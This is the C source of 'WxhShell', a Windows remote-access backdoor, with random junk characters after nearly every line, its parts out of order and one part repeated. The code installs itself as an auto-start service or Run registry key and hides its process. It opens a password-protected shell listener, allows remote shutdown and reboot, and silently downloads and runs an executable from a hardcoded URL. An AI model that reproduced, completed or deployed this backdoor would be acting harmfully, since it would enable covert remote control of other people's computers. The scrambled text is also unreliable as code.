    break; z"#iG&>a,  
    } )3K#${p  
  // 关机 .c__<I<G<  
  case 'd': { E Q 'L"  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )4:K@  
    if(Boot(SHUTDOWN)) Loz5[L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gZA[Sq  
    else { I|zak](HU  
    closesocket(wsh); CD]hi,B_J  
    ExitThread(0); o>WB,i^G  
    } <Qg).n>;z  
    break; 8(-V pU  
    } 4/KGrY! ck  
  // 获取shell 4<V%7z_.B  
  case 's': { 3y^PKIIrt  
    CmdShell(wsh); %Ms"LoK  
    closesocket(wsh); X$*MxMNs  
    ExitThread(0); Pq\ `0/4_  
    break; L\0;)eJ#M  
  }  N>ncv  
  // 退出 w>#{Nl7gz  
  case 'x': { ]oT8H?%*Y  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;f;A"  
    CloseIt(wsh); F1_s%&  
    break; w O H{L  
    } 0s9-`nHen|  
  // 离开 o>|&k]W/  
  case 'q': { g)?Ol  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); D5Zgi!  
    closesocket(wsh); yS#)F.  
    WSACleanup(); I0iTa99K  
    exit(1); k=]#)A(#C  
    break; -M]B;[^  
        } $Lj~ge3#  
  } >+ ,w2m@0  
  } Fl0(n #L  
6U.A/8z  
  // 提示信息 OaTnQ|*  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G5WQTMzf&  
} d]A.=NAc  
  } PP*6nW8  
x[?N[>uw  
  return; [U5@m]>^  
} JJ:pA_uX  
SjosbdD  
// shell模块句柄 Vz.G!*>Dg  
int CmdShell(SOCKET sock) _V2^0CZ  
{ %x'}aTa  
STARTUPINFO si; [8C|v61Y  
ZeroMemory(&si,sizeof(si)); cI Sugk~  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; o*MiKgQ&  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Xr:gm`[  
PROCESS_INFORMATION ProcessInfo; u+/Uc:XK)  
char cmdline[]="cmd"; {c  : 7:  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 6a*?m{  
  return 0; J\@|c.ws  
} 'FNnFm  
$-D}y:  
// 自身启动模式 Yg /g9$'  
int StartFromService(void) (rmOv\hG9V  
{ }VU^ 8D  
typedef struct C/$bgK[ev  
{ Vc[aNpE  
  DWORD ExitStatus; r'J="^k{  
  DWORD PebBaseAddress; O]4v\~@-j  
  DWORD AffinityMask; X<%`  
  DWORD BasePriority; ,`Keqfx  
  ULONG UniqueProcessId; 1Clid\T,o  
  ULONG InheritedFromUniqueProcessId; ,? >{M  
}   PROCESS_BASIC_INFORMATION; ( ]E0fjk  
#fYRsVQ  
PROCNTQSIP NtQueryInformationProcess; K`=9"v'f+  
HVJqDF  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; a8WWFAC[  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }/w]+f*  
zRU9Q 2Y  
  HANDLE             hProcess; d*YVk{s7V  
  PROCESS_BASIC_INFORMATION pbi; {+~ JTrp  
 -uKTEG[  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |}7!'f\M  
  if(NULL == hInst ) return 0; ]'NL-8x">  
nt&"? /s  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 1[yy/v'q  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); YdZ9##IU3  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); #<LJns\t   
z''ejq  
  if (!NtQueryInformationProcess) return 0; 85x34nT  
o%b6"_~%3  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); bm*.*A]  
  if(!hProcess) return 0; &6^ --cc  
oVTXn=cYDp  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; E^iShe  
2Z-[x9t  
  CloseHandle(hProcess); "MvSF1  
nt]'>eX_}  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); DPlDuUOd  
if(hProcess==NULL) return 0; f,|g|&C  
hgj ]Jr  
HMODULE hMod; 0 <E2^  
char procName[255]; eB&.keO  
unsigned long cbNeeded; "Xg~1)%  
;^TSla+t+  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6b7c9n Z  
BM~6P|&qD  
  CloseHandle(hProcess); *@{  
zviTGhA  
if(strstr(procName,"services")) return 1; // 以服务启动 /1v:eoF;  
P BVF'~f@j  
  return 0; // 注册表启动 vM@8&,;  
} vX7U|zy  
?n]adS{  
// 主模块 k:&vW21E  
int StartWxhshell(LPSTR lpCmdLine) ddS3;Rk2  
{ $bDaZGy  
  SOCKET wsl; }[{9u#@#  
BOOL val=TRUE; O14\_eAu6  
  int port=0; 4(91T  
  struct sockaddr_in door; ?KB] /gT^  
VbDk44X.W  
  if(wscfg.ws_autoins) Install(); ~?4 BP%g-y  
>~0~h:M+  
port=atoi(lpCmdLine); hx*4xF  
04WxV(fo'  
if(port<=0) port=wscfg.ws_port; =r)LG,w212  
 y!dw{Lz  
  WSADATA data; 67;6nXG0K  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; l^XOW- ;u  
No8-Hm  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   $dxA7 `L  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %)72glB  
  door.sin_family = AF_INET; 3-=AmRxW't  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); +I\54PBws  
  door.sin_port = htons(port); Z l;TS%$  
1:iB1TclP  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ny%$BQM=  
closesocket(wsl); 9Trk&OB  
return 1; VP~(;H5%  
} !7f,gvk  
$|g ;  
  if(listen(wsl,2) == INVALID_SOCKET) { `M*jrkM]x  
closesocket(wsl); .p]r S =#  
return 1; Dpwqg3,  
} ?yxQs=&-q~  
  Wxhshell(wsl); )@p?4XsT4J  
  WSACleanup(); r7sA;Y\  
Q_Br{ `c  
return 0; M KX+'p\w  
k dWUz(  
} <$@I*xk[  
,N _/J4Us  
// 以NT服务方式启动 73 4t  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) U{KnjoS  
{ o*artMkG  
DWORD   status = 0; Y]=k"]:%  
  DWORD   specificError = 0xfffffff; "hQGk  
cRMyYdJ o  
  serviceStatus.dwServiceType     = SERVICE_WIN32; : h(Z\D_  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 6yBd9=3K  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Z ^}[CQ&Am  
  serviceStatus.dwWin32ExitCode     = 0; d``wx}#Uk  
  serviceStatus.dwServiceSpecificExitCode = 0; tot~\S  
  serviceStatus.dwCheckPoint       = 0; _-sFJi8B  
  serviceStatus.dwWaitHint       = 0; QFnpp\K  
+*w}H 0Z  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); )7]yzc  
  if (hServiceStatusHandle==0) return; SuB8mPn  
gTgoS:M"_O  
status = GetLastError(); ,2 rfN"o  
  if (status!=NO_ERROR) kh{3s:RQfC  
{ C=|8C70[%N  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ok [_Z;  
    serviceStatus.dwCheckPoint       = 0; yf;TIh%)=  
    serviceStatus.dwWaitHint       = 0; ahIDKvJ4  
    serviceStatus.dwWin32ExitCode     = status; ij|>hQC5i  
    serviceStatus.dwServiceSpecificExitCode = specificError; [Y$ TVwFwX  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); TqL+^:cq  
    return; ZDAW>H<  
  } wx[m-\  
~#4FL<W  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 8MI8~  
  serviceStatus.dwCheckPoint       = 0; uO-|?{29  
  serviceStatus.dwWaitHint       = 0; c_CVZR?  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); g~b$WV%  
} @ZjO#%Ep/  
Z:<an+v|5  
// 处理NT服务事件,比如:启动、停止 zd)QCq  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ?G,gPb  
{ .j&#  
switch(fdwControl) Qclq^|O0  
{ UX[s5#  
case SERVICE_CONTROL_STOP: _G-y{D_S&  
  serviceStatus.dwWin32ExitCode = 0; Rj H68=n  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; t1U+7nM  
  serviceStatus.dwCheckPoint   = 0; K9.Gjw  
  serviceStatus.dwWaitHint     = 0; '.;{"G.@'  
  { MoQ\~/Z|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |IV7g*J89  
  } Cc*R3vHM6  
  return; Ll-QhcC$  
case SERVICE_CONTROL_PAUSE: y3o3G  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; }#u #m.  
  break; j}B86oX  
case SERVICE_CONTROL_CONTINUE: yci}#,nb  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; +}M3O]?4  
  break; `'^o45  
case SERVICE_CONTROL_INTERROGATE: \v6lcAL-  
  break; Z\Ur F0  
};  T&MhSJf#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $Hj;i/zD  
} r#2Fk &Z9  
Z~QLjv&$/r  
// 标准应用程序主函数 xp'Q>%v  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) tK .1 *  
{ 8Z_ 4%vUBg  
<K<#)mcv  
// 获取操作系统版本 +-(,'slov  
OsIsNt=GetOsVer(); |6b~c{bt  
GetModuleFileName(NULL,ExeFile,MAX_PATH); }% q-9  
enZZ+|h  
  // 从命令行安装 >$9}"  
  if(strpbrk(lpCmdLine,"iI")) Install(); b}ya9tCl;  
>p@b$po  
  // 下载执行文件 ?>7-a~*A@  
if(wscfg.ws_downexe) { /5/gnp C  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) c ?EvrtND  
  WinExec(wscfg.ws_filenam,SW_HIDE); G`kz 0Vk  
} U|Gy9"  
Uavl%Q  
if(!OsIsNt) { PU,$YPrZ  
// 如果时win9x,隐藏进程并且设置为注册表启动 P_NF;v5 v  
HideProc(); T}=^D=  
StartWxhshell(lpCmdLine); OqDP{X:  
} r~h#  
else K)! ^NT  
  if(StartFromService()) 5\XD/Q M  
  // 以服务方式启动  >(ip-R  
  StartServiceCtrlDispatcher(DispatchTable); Q8AAu&te7  
else #"rK1Z  
  // 普通方式启动 ~=iH*AQR  
  StartWxhshell(lpCmdLine); K)mQcB-"?  
h*C!b?:"  
return 0; Q2- lHn^L:  
} sH;_U)ssH  
7+hF1eoI  
vi UJ4Pn  
1w(3!Ps+  
=========================================== YfB)TK\W9/  
85H \v_[  
9QLG:(~;  
d[p2? ]  
(@5`beEd  
(^y"'B  
" OVDuF&0  
oV0 45G  
#include <stdio.h> 65qqs|&w;[  
#include <string.h> _Iav2= 0Wi  
#include <windows.h> } v:YSG  
#include <winsock2.h> Zs=A<[  
#include <winsvc.h> NT.#U?9c  
#include <urlmon.h> e }?.3,?  
iaEQF]*cC  
#pragma comment (lib, "Ws2_32.lib") ;z.niX.fx  
#pragma comment (lib, "urlmon.lib") mu@J$\   
O_a^|ln&  
#define MAX_USER   100 // 最大客户端连接数 {FI*oO1A~  
#define BUF_SOCK   200 // sock buffer :R=6Ku>  
#define KEY_BUFF   255 // 输入 buffer <6Gs0\JB  
8I/3T  
#define REBOOT     0   // 重启 /CNsGx%%  
#define SHUTDOWN   1   // 关机 k%cE8c}R;A  
.cQO?UKK  
#define DEF_PORT   5000 // 监听端口 Wy7w zt  
G/Sp/I<d  
#define REG_LEN     16   // 注册表键长度 n]' r3  
#define SVC_LEN     80   // NT服务名长度  XyE$0i~t  
k Alx m{  
// 从dll定义API }rfikm  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); "Mj#P9  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Ge-Bk)6  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); i83~&Q=  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); oC>J{z  
Lo!hyQ)  
// wxhshell配置信息 zT78FliY6  
struct WSCFG { 3;BIwb_  
  int ws_port;         // 监听端口 =;uMrb4  
  char ws_passstr[REG_LEN]; // 口令 7\2I>W  
  int ws_autoins;       // 安装标记, 1=yes 0=no )8W! |  
  char ws_regname[REG_LEN]; // 注册表键名 h>\C2Q  
  char ws_svcname[REG_LEN]; // 服务名 e7@ m i  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ai sa2#  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 pvyEs|f=%  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 oc( '!c  
int ws_downexe;       // 下载执行标记, 1=yes 0=no HbA/~7  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" u7hu8U=  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 M@.S Q@E  
} jJKE  
}; -9t"$)&  
mYgfGPF`  
// default Wxhshell configuration Mi8)r_l%O  
struct WSCFG wscfg={DEF_PORT, [cd1Mf:[Y  
    "xuhuanlingzhe", +mVAmG@  
    1, ~?ezd0  
    "Wxhshell", )xV37]  
    "Wxhshell", ]E<Z5G1HD  
            "WxhShell Service", 'l.tV7  
    "Wrsky Windows CmdShell Service", )dhR&@r*w  
    "Please Input Your Password: ", zx}+Q B0  
  1, xjo`u:BH  
  "http://www.wrsky.com/wxhshell.exe", `-pwP  
  "Wxhshell.exe" baII!ks  
    }; hYkk r&  
=Z:] %  
// 消息定义模块 Mc@9ivwL#  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; !t23 _b0  
char *msg_ws_prompt="\n\r? for help\n\r#>"; [Xu8~c X  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <@ .e.H  
char *msg_ws_ext="\n\rExit."; gA(npsUHI  
char *msg_ws_end="\n\rQuit."; xOe1v9<  
char *msg_ws_boot="\n\rReboot..."; UGO;5!  
char *msg_ws_poff="\n\rShutdown..."; XMI*obS'z  
char *msg_ws_down="\n\rSave to "; ]LC4rS  
O0#[hY,  
char *msg_ws_err="\n\rErr!"; |})s0TU  
char *msg_ws_ok="\n\rOK!";  lrv-[}}  
0#J~@1Gf  
char ExeFile[MAX_PATH]; _ l`F}v  
int nUser = 0; OX;(Mg|  
HANDLE handles[MAX_USER]; .pUB.l$)  
int OsIsNt; rc8HZ  
@ar%`+_  
SERVICE_STATUS       serviceStatus; \ =hg^j  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 7y|U!r"Y  
D j9aTO  
// 函数声明 7@;*e=v  
int Install(void); 3k)xzv%r`  
int Uninstall(void); m| ,Tk:xH  
int DownloadFile(char *sURL, SOCKET wsh); zas&gsl-;  
int Boot(int flag); jum"T\  
void HideProc(void); OCx'cSs-=  
int GetOsVer(void); ]XEyG7D  
int Wxhshell(SOCKET wsl); ; CCg]hX  
void TalkWithClient(void *cs); y]jx-w c3O  
int CmdShell(SOCKET sock); L[2qCxB'^  
int StartFromService(void); z[c8W@OJ  
int StartWxhshell(LPSTR lpCmdLine); ta)gOc)r R  
{zcG%b WJ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Ep;uz5 ^8  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); l[T-Ak  
.4CDQ&B0K  
// 数据结构和表定义 F+H]{ss>  
SERVICE_TABLE_ENTRY DispatchTable[] = v8f3B<kj  
{ plWNuEW  
{wscfg.ws_svcname, NTServiceMain}, SiaNL:  
{NULL, NULL} *B|hRZka1A  
}; qB$-H' j:;  
4@0aN6Os  
// 自我安装 #7 O7O~  
int Install(void) e`4mrBtz|  
{  ImhkU%  
  char svExeFile[MAX_PATH]; |M7C=z='  
  HKEY key; cj2Smgw&>  
  strcpy(svExeFile,ExeFile); gtuSJ+up  
n{4iW_/D  
// 如果是win9x系统,修改注册表设为自启动 zq</(5H  
if(!OsIsNt) { ]"T157F  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { H2jypVs$2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A5Jadz~  
  RegCloseKey(key); Dr.eos4 ~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5_!L"sJ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \7LL neq  
  RegCloseKey(key); jv~#'=T'  
  return 0; F `:Q  
    } aE07#  
  } jI8`trD  
} %6cr4}Zm}  
else { `C>h]H(  
pqO3(2F9  
// 如果是NT以上系统,安装为系统服务 bDvGFSAH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); w]gLd  
if (schSCManager!=0) E^rBs2;9  
{ bKS/T^UQ  
  SC_HANDLE schService = CreateService AJ/Hw>>$?m  
  ( 4xW~@m eNB  
  schSCManager, 2`]c&k;]  
  wscfg.ws_svcname, %.$!VTO"  
  wscfg.ws_svcdisp, M]5l-i$  
  SERVICE_ALL_ACCESS, oi0O4J%H  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Vl1.]'p_  
  SERVICE_AUTO_START, VzSkqWF/"  
  SERVICE_ERROR_NORMAL, lD$s, hp  
  svExeFile, \>:t={>;  
  NULL, Ye On   
  NULL, J8~hIy6]  
  NULL, hD5@PeLh  
  NULL, cY!Y?O  
  NULL z!6_u@^-  
  ); <o()14  
  if (schService!=0) X{#^O/  
  { q,fp DNo  
  CloseServiceHandle(schService); h:pgN,W}  
  CloseServiceHandle(schSCManager); PNAvT$0LaZ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); rmw}Ui"  
  strcat(svExeFile,wscfg.ws_svcname); 2Di~}*9&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { bsu?Q'q  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); eFs5 l  
  RegCloseKey(key); |5;,]lbt  
  return 0; s>G6/TTH6  
    } 65zwi-  
  } ^iEf"r  
  CloseServiceHandle(schSCManager); |h $Gs2  
} *=@8t^fa86  
} l atm_\  
 $Z &6  
return 1; %t_'rv  
} G:b6Wf  
;fqp!|J  
// 自我卸载 E~q3o*  
int Uninstall(void) Ds] .Ae  
{ Eo$l-Hl5=  
  HKEY key; T+XcEI6w  
?T73BL=  
if(!OsIsNt) { > U3>I^Y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7vgRNzZoq  
  RegDeleteValue(key,wscfg.ws_regname); iOa<=  
  RegCloseKey(key); 3SWDPy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z]g#2xD2  
  RegDeleteValue(key,wscfg.ws_regname); Jy:@&c  
  RegCloseKey(key); n2*Ua/J-8  
  return 0; CxaI@+  
  } 7Z]?a  
} =z5=?  
} 0D4 4  
else { N''xdz3Z  
D`n<!"xg@$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); L`M{bRl+1  
if (schSCManager!=0) !(bYh`Uy  
{ W9gQho%9b  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); }k AE  
  if (schService!=0) tx;2C|S$oU  
  { 3 a(SmM:  
  if(DeleteService(schService)!=0) { A["6dbvv  
  CloseServiceHandle(schService); GAH<  
  CloseServiceHandle(schSCManager); uu4! e{K  
  return 0; FBP # _"z  
  } ~*h)`uM  
  CloseServiceHandle(schService); ZD50-w;  
  } :Dr4?6hdr  
  CloseServiceHandle(schSCManager); CNuE9|W(vI  
} gz'{l[  
} xz@*V>QT  
ly!3~W  
return 1; *W2] Kxx*  
} Pi[]k]XA\  
q:vN3#=^qf  
// 从指定url下载文件 n"iaE  
int DownloadFile(char *sURL, SOCKET wsh) M&zB&Ia"'  
{ 2:.$:wS  
  HRESULT hr; $m>( kd1  
char seps[]= "/"; ]nV_K}!w  
char *token; jMWTNZ  
char *file; !K_<7iExI\  
char myURL[MAX_PATH]; \Q`#E'?  
char myFILE[MAX_PATH]; 8fvKVS  
2hntQ1[  
strcpy(myURL,sURL); tF*Sg{:bCa  
  token=strtok(myURL,seps); #@Tm5z  
  while(token!=NULL) MAqETjB  
  { 1jSmTI d  
    file=token; jz'%(6#'gW  
  token=strtok(NULL,seps); ]Gm&Kn >  
  } [PrJf"Z "  
-[=@'N P  
GetCurrentDirectory(MAX_PATH,myFILE); LUx'Dm"  
strcat(myFILE, "\\"); T}p|_)&y  
strcat(myFILE, file); Rp zuSh  
  send(wsh,myFILE,strlen(myFILE),0); 6EWCJ%_  
send(wsh,"...",3,0); 9 [E/^  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); WFug-#;e  
  if(hr==S_OK) V!e`P  
return 0; DS|x*w'I  
else 7}=MVp] )S  
return 1; /$8& r  
UQ e1rf  
} GYT0zMMf  
50S*_4R  
// 系统电源模块 >hnhV6ss  
int Boot(int flag) }&ew}'*9)  
{ qqYQ/4Ajw  
  HANDLE hToken; dZ,7q_r,~  
  TOKEN_PRIVILEGES tkp; tr 8Q{  
3wgZDF38  
  if(OsIsNt) { T2T?)_f /  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); W.7u6F`  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); h 1j1PRE  
    tkp.PrivilegeCount = 1; aIfB^M*c5  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; w `M/0.)V  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ,;= S\  
if(flag==REBOOT) { iQh:y:Jo1&  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) p{V(! v|  
  return 0; sYTToanA$?  
} 78mJ3/?rC  
else { FP6Jf I8  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) fb]=MoiJ  
  return 0; 7z&^i-l.  
} \Zk<|T61$  
  } ^^Q> AfTR.  
  else { /X\:3P  
if(flag==REBOOT) { e+MsFXnB8  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) .fzns20u  
  return 0; +zFEx%3^  
} RoD9  
else { Im`R2_(]  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ,+_gx.H2j  
  return 0; J:;nN-\j  
} # b= *hi`E  
} No/D"S#  
Zvz}Z8jW  
return 1; JZNvuPD   
} =?B[oq  
vinn|_s%  
// win9x进程隐藏模块 L!W5H2Mc  
void HideProc(void) 'Ya-;5Y]  
{ KU0;}GSNX}  
PurY_  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); cmLI!"RLe  
  if ( hKernel != NULL ) apm,$Vvjy  
  { 6;\Tps;A  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); hcD.-(-;)  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); iEBxBsz_  
    FreeLibrary(hKernel); fVBu?<=d  
  } 6[1lK8o  
0Szt^l7  
return; Fo| rRI2  
} dC}4Er  
w >#.id[k  
// 获取操作系统版本 zU>bT20x/  
int GetOsVer(void) 8x6{[Tx   
{ Z@>WUw@ F  
  OSVERSIONINFO winfo; +3;[1dpgf  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); <d hBO  
  GetVersionEx(&winfo); `XwKCI  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) +?[iB"F  
  return 1; 5NYYrA8,^  
  else cA B^]j  
  return 0; ZP7wS  
} `l}r&z(8  
K}Pi"Le@W  
// 客户端句柄模块 6~(iLtd#  
int Wxhshell(SOCKET wsl) ^F$iD (f  
{ af2yng  
  SOCKET wsh; '#Y[(5  
  struct sockaddr_in client; Ds%~J  
  DWORD myID; Q%RI;;YyA  
\M-$|04Qt  
  while(nUser<MAX_USER) LfS]m>>e  
{ )pt#Pu  
  int nSize=sizeof(client); N Y~y:*:Q  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); "/U~j4O  
  if(wsh==INVALID_SOCKET) return 1; ,`l8KRd  
_;5N@2?  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); gNo}\ lm4V  
if(handles[nUser]==0) V_7QWIdiy>  
  closesocket(wsh); vJ!<7 l&  
else *Ry "`"  
  nUser++; 5},kXXN{+  
  } k;y5nXIlN  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); v/DWy(CC  
5-X(K 'Q  
  return 0; !F*CEcB  
} DC%H(2  
+aIy':P  
// 关闭 socket C")NN s =  
void CloseIt(SOCKET wsh) yE),GJ-m\<  
{ l 7=WO#Pb  
closesocket(wsh); +q4AK<y-  
nUser--; wpPCkfPyL  
ExitThread(0); 5U&?P   
} &8wluOs/5  
3sq(FsT  
// 客户端请求句柄 J#& C&S 2  
void TalkWithClient(void *cs) p^QB^HEV  
{ IGtqY8  
(!`]S>_w9  
  SOCKET wsh=(SOCKET)cs; #AUz.WHD  
  char pwd[SVC_LEN]; .EQ1r7 9,  
  char cmd[KEY_BUFF]; k%?A=h  
char chr[1]; eMC0 )B  
int i,j; _-g?6q  
@=1kr ^i  
  while (nUser < MAX_USER) { 9gokTFoN  
-{XXU)Z  
if(wscfg.ws_passstr) { ' fm}&0  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .FXn=4l'vV  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); DN;An0 {MK  
  //ZeroMemory(pwd,KEY_BUFF); ?rgk  
      i=0; ^aG=vXK`b  
  while(i<SVC_LEN) { uEKa  FRm  
Tb6c]?'U  
  // 设置超时 L>EC^2\  
  fd_set FdRead; j8ebVq  
  struct timeval TimeOut; u ?n{r  
  FD_ZERO(&FdRead); [3QKBV1\  
  FD_SET(wsh,&FdRead); w_!]_6%{b  
  TimeOut.tv_sec=8; Hh1OD?N)  
  TimeOut.tv_usec=0; [m 3k_;[  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); p#95Q  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); PH}^RR{H[  
_ mw(~r8R  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %,M(-G5j;  
  pwd=chr[0]; WSW,}tFp"  
  if(chr[0]==0xd || chr[0]==0xa) { m^)h/s0A  
  pwd=0; lE?F Wt  
  break; ,HQaS9vBQ  
  } 0vRug|}k#%  
  i++; aGz <Yip  
    } J<{@D9r9<~  
M _z-~G  
  // 如果是非法用户,关闭 socket `o~9a N  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); m mj6YQ0a  
} ES#K'Lf  
}TCOm_Y/qL  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); E|Lv_4lb=  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %r*zd0*<n1  
c|'hs   
while(1) { }~RH!Q1  
,4wZ/r> d  
  ZeroMemory(cmd,KEY_BUFF); Dab1^H!KT  
=K)au$BE|  
      // 自动支持客户端 telnet标准   GUyc1{6  
  j=0; EI29;  
  while(j<KEY_BUFF) { $iA`_H`W  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v&EHp{8Qd  
  cmd[j]=chr[0]; 3Yd)Fm  
  if(chr[0]==0xa || chr[0]==0xd) { H+>l][  
  cmd[j]=0; ZdD]l*.\i  
  break; Rz!E=1Y$  
  } F*_mHYa;  
  j++; H[{ch t h  
    } <eq93  
ci^+T *  
  // 下载文件 !.'@3-w]  
  if(strstr(cmd,"http://")) { S/ Y1NH  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); hD>O LoO  
  if(DownloadFile(cmd,wsh)) ^xGdRa U#  
